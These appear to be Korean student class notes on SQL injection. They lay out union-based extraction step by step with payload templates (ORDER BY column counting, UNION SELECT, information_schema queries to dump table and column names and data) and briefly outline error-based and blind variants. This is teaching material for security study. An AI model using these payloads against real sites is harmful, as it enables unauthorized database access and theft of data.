[수업] 3주차
SQLi데이터 추출 2가지
> 질의문 결과가 화면에 출력되는 경우
* 게시글, 주소검색기능 *
Union sqli
> Error 메세지가 화면에 출력하는 경우
Error based sqli
> 질의문 결과가 화면에 출력되지 않는 경우
Blind sqli
* 추출하는 속도가 느리다 *
1. Union
앞에 있는 SELECT문과 컬럼수가 같아야한다.
select 1,2,3~~ union select 1,2,3 => o
select 1,2~~ union select 1,2,3 => x
** 공격 순서 **
① 취약점 확인
'검색내용' and 1=1
=>문제없이 출력된다면 취약점 존재
② 컬럼 개수 파악
order by [컬럼이름, 숫자]
select ~ order by 7 #
=> 7부터 더 이상 조회가 안된다 = [컬럼 6개만 존재]
③ 데이터 출력 위치 파악
select ( 컬럼 6개 ) ~~ union select 1,2,3,4,5,6 #
=>출력되는 컬럼 위치 확인
④ DB 이름 확인
> select database()
union select database(),2,3,4,5,6 #
⑤ 테이블 이름 확인
union select table_name,2,3,4,5,6 from information_schema.tables
where table_schema = [' DB이름 '] #
⑥ 컬럼 이름 확인
union select column_name from information_schema.columns where table_name=[' 테이블명 '] #
⑦ 데이터 추출
> select ( 컬럼 6개 ) ~~ union select 1,2,3,4,5,6 #
1,4,5 출력된다면
select ( 컬럼 6개 ) ~~ union select [컬럼1],2,3,[컬럼2],[컬럼3],6 from [' 테이블명 '] #
2. Error based sqli
에러가 출력된 곳에서만 사용가능
(화면, 소스코드에서 에러 출력)
※논리 에러※ 를 발생시켜야한다.
[+] 논리 에러 -> 실행하다 발생한 에러
[+] 문법 에러 -> 문법이 틀려 발생한 에러
** 공격 순서 **
① 에러 메세지 확인
② 에러 출력할 함수 선정
③ DB 이름 확인
④ 테이블 이름 확인
⑤ 컬럼 이름 확인
⑥ 데이터 추출
구글링으로 직접찾고 해보면서 이해하자.